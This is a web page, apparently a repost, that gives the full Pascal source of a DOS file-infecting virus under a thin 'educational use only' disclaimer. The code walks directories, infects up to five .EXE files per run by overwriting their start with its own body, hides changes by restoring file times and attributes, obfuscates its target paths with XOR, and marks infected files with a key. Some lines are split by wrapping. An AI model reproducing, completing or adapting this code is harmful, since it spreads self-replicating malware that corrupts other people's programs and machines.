Pascal编的蠕虫病毒原代码

I don't take responsibility for any damage caused by this virus.

It was made for EDUCATIONAL USE ONLY.

AVs : No detection

Size : 8928 bytes

Payload : yes - display text

Stealth : yes - file time

Infects : exe

Encryption : no

If you've got any question write to w0rm@freemail.c3.hu

}

{$I-}

uses windos,dos;

const virushossz=8928;

dir:array[1..4] of string[10]=('g?Z`ido','g?Zmi}o`','g?Z`idox','g?Zmi}

o`cf');

var exebuffer,virusbuffer:array[1..virushossz] of byte;

regia:word;

regit:longint;

fuck:word;

disable:file;

konyvt:string;

eddig:byte;

y,m,d,dow:word;

Function Crypt(S : String) : String; {Encryption/Decryption of}

Var {A string.}

i : Byte;

begin

For i := 1 to Length(S) Do

S[i] := Char(ord(S[i]) xor (i+3));

Crypt := S;

end;

Procedure MEGLEPETES; {Display text}

begin

GetDate(y,m,d,dow);

if (m=6) and (d=22) then begin

writeln('$Mgwxp*Izgtpk3CzDz9');

writeln('$MD)XHY+z= <?:p=5''.!!:LsOs');

end;

Function DosShell(command:String):Integer;Var {Maximize HEAP before exec}

OldHeapEnd,

NewHeapEnd: Word;

Error:Integer;

Begin

Error:=0;

If MemAvail<$1000 then Error:=8;

If Error=0 then Begin

NewHeapEnd:=Seg(HeapPtr^)-PrefixSeg;

OldHeapEnd:=Seg(HeapEnd^)-PrefixSeg;

asm

mov ah,4Ah

mov bx,NewHeapEnd

mov es,PrefixSeg

Int 21h

jnc @EXIT

mov Error,ax

@EXIT:

end; {asm}

If Error=0 then begin

SwapVectors;

Exec(GetEnv('COMSPEC'),command);

SwapVectors;

asm

mov ah,4Ah

mov bx,OldHeapEnd

mov es,PrefixSeg

Int 21h

jnc @EXIT

mov Error,ax

@EXIT:

end; {asm}

end; {If}

DosShell:=Error;

end; {Function}

procedure futtatas; {Execute host program}

var fuf,orf:file;

fufa:searchrec;

ix:integer;

comlin:string;

begin

findfirst(paramstr(fuck),Anyfile,fufa);

if fufa.size>virushossz then begin

assign(fuf,fufa.name);

windos.getfattr(fuf,regia);

windos.setfattr(fuf,Archive);

reset(fuf,1);

assign(orf,crypt('slhsey::"hvj'));

rewrite(orf,1);

windos.getftime(fuf,regit);

seek(fuf,fufa.size-(virushossz+10));

blockread(fuf,exebuffer,virushossz);

seek(orf,0);

blockwrite(orf,exebuffer,virushossz);

seek(fuf,virushossz);

for ix:=1 to (fufa.size-(virushossz+virushossz+10)) div virushossz do be

gin

blockread(fuf,exebuffer,virushossz);

blockwrite(orf,exebuffer,virushossz);

end;

ix:=(fufa.size-(virushossz+virushossz+10)) mod virushossz;

blockread(fuf,exebuffer,ix);

blockwrite(orf,exebuffer,ix);

close(orf);

windos.setftime(fuf,regit);

close(fuf);

windos.setfattr(fuf,regia);

for dow:=1 to paramcount do

comlin:=comlin+' '+paramstr(dow);

dosshell(crypt('+f&pag~f|=?!uiw'+comlin));

erase(orf);

end;

function fertozott(ellfa:searchrec):boolean; {Is file already infected?}

var i:byte;

osszeg:longint;

ellkey:array[1..10] of byte;

modosito:byte;

ellf:file;

begin

assign(ellf,ellfa.name);

windos.getfattr(ellf,regia);

windos.setfattr(ellf,archive);

reset(ellf,1);

windos.getftime(ellf,regit);

seek(ellf,ellfa.size-10);

blockread(ellf,ellkey,10);

windos.setftime(ellf,regit);

close(ellf);

windos.setfattr(ellf,regia);

osszeg:=1;

for i:=1 to 10 do begin

if ellkey[i]>9 then begin

modosito:=ellkey[i] div 10;

ellkey[i]:=ellkey[i]-10*modosito;

end;

osszeg:=osszeg*ellkey[i];

end;

if osszeg=126000 then fertozott:=true else fertozott:=false;

end;

procedure fertoz(filehelye,fileneve:string); {Infect a file - filehelye=pat

label next; {of file,fileneve=its name

}

var fef:file;

fefa:searchrec;

k:array[1..10] of byte;

dt:tdatetime;

procedure keygen;

var o:longint;

i,a:byte;

begin

repeat

o:=126000;

for i:=1 to 10 do begin

repeat

a:=random(8)+1;

until o mod a=0;

o:=o div a;

k[i]:=a;

end;

o:=1;

for i:=1 to 10 do o:=o*k[i];

until o=126000;

for i:=1 to 10 do k[i]:=k[i]+random(24)*10;

end;

begin

chdir(filehelye);

findfirst(fileneve,Anyfile,fefa);

if doserror=0 then begin

if fefa.size>virushossz+10 then begin;

assign(fef,fefa.name);

windos.getfattr(fef,regia);

windos.setfattr(fef,archive);

reset(fef,1);

windos.getftime(fef,regit);

if fertozott(fefa)<>true then begin

seek(fef,0);

blockread(fef,exebuffer,virushossz);

seek(fef,0);

blockwrite(fef,virusbuffer,virushossz);

seek(fef,fefa.size);

blockwrite(fef,exebuffer,virushossz);

keygen;

blockwrite(fef,k,10);

windos.setftime(fef,regit);

eddig:=eddig+1;

end;

close(fef);

windos.setfattr(fef,regia);

end;

Procedure fertozes(path : PathStr); {This one searches subdirs of the}

{Path given as parameter and }

Var SearchFile : SearchRec; {Infects them (Max. 5 files/run }

begin

if Path[Length(Path)] <> '\' then

Path := Path + '\';

FindFirst(Path + '*.*', $37, SearchFile);

While (DosError = 0) and (eddig<5) do

begin

if ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> '.') and

(eddig<5) then

Fertozes(Path + SearchFile.Name)

else

if (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then begin

fertoz(Path,SearchFile.Name);

end;

if (eddig<5) then FindNext(SearchFile);

end;

procedure inicializacio;

var inf:file;

begin

assign(inf,paramstr(fuck)); {Open current file (host)}

getfattr(inf,regia); {Save file time for time }

setfattr(inf,archive); {Stealth and move Vx code}

reset(inf,1); {Into Vx buffer. }

getftime(inf,regit);

seek(inf,0);

blockread(inf,virusbuffer,virushossz);

setftime(inf,regit); {Close file and set time }

close(inf);

setfattr(inf,regia);

end;

begin

getdir(0,konyvt); {Get current dir}

randomize; {For the keygenerator}

eddig:=0;

inicializacio; {Initialize buffers}

getdate(y,m,d,dow);

if dow=5 then fertozes('c:\'); {Infect files}

for dow:=1 to 4 do begin

chdir(crypt(dir[dow]));

if ioresult=0 then fertozes(crypt(dir[dow]));

end;

futtatas; {Execute host}

MEGLEPETES; {Payload}

chdir(konyvt); {Reset original dir}

end.

-------------------------------------------------------------

Bad Boy Studio

http://hnh.126.com